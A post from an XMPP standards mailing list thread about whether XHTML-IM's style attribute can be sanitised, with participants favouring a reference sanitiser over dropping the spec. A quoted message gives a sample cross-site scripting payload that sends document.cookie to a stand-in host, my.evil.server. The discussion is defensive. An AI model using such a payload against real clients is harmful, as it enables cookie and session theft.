On 12.10.2017 14:30, Jonas Wielicki wrote: > On Donnerstag, 12. Oktober 2017 13:42:42 CEST Goffi wrote: >> Le jeudi 12 octobre 2017, 13:13:17 CEST Dave Cridland a écrit : >>> So can something like the following work: >>> >>> <p style='background-image: url(&dquot;javascript:new >>> Image().src='http://my.evil.server/?cookie=' + >>> encodeURI(document.cookie);&dquot;);'>Hello</p> >> >> no: styles are white listed and background-image is not accepted + values >> are parsed and url is not accepted either. >> >>> A solid CSP will block this for newer browsers, of course, and >>> background-image is a SHOULD NOT in XEP-0071 as well. But I'd be >>> surprised if many implementations are filtering CSS at the property >>> level. >> >> We do in SàT, and I hope we are not the only one. But again it's an >> implementation issue, not spec. > > Note that filtering the style attribute is considerably more work. XMPP > clients already have an XML parser and the tools to work with the XHTML-IM > tree, but they rarely have the tools to parse @style directly (sure, hand it > over (unsanitised) to some *other* implementation, yes, but parsing and > sanitising it themselves, rather rarely I think). So I side with Dave here > that @style is very likely to be unfiltered. > > In this light, I’d suggest to ban @style from XHTML-IM. It does more harm > than > good: > > 1. It is hard to sanitise. > 2. Everything which can be set there is unlikely to be portable across > devices/GUIs: font sizes, colors and font types are rarely useful to send > over > the wire. They also lack any semantic meaning. > > Everything else in XHTML-IM can (and should) reasonably be sanitised. I’m > still in favour of keeping XHTML-IM ...
Dito. >> On the other hand it's a handy syntax to write (we implement it), and it's >> easily rendered to (X)HTML, so people can use it in clients without problem, >> I totally see the reason to use it for end-user, just not as a publishing >> way. > > ... for exactly the above reason. It is a portable format to convey the > semantics which are expressed in writing in markdown today. This is very > valuable. And especially if we are still going to have non-IM use-cases > within > XMPP where XHTML(-IM) will be used, there still will be need for > sanitisation. > Which brings me back to my original suggestion to have someone develop a > reference sanitisation implementation in JavaScript, get it audited if > possible and publish it alongside the XHTML-IM XEP. > > The XHTML-IM spec needs some work, yes (because it is hard to get right), but > I think we should not set on obsoleting it right away but instead look what > we > can do to make it safer to implement and more secure to use. +1 - Florian
signature.asc
Description: OpenPGP digital signature
_______________________________________________ Standards mailing list Info: https://mail.jabber.org/mailman/listinfo/standards Unsubscribe: standards-unsubscr...@xmpp.org _______________________________________________
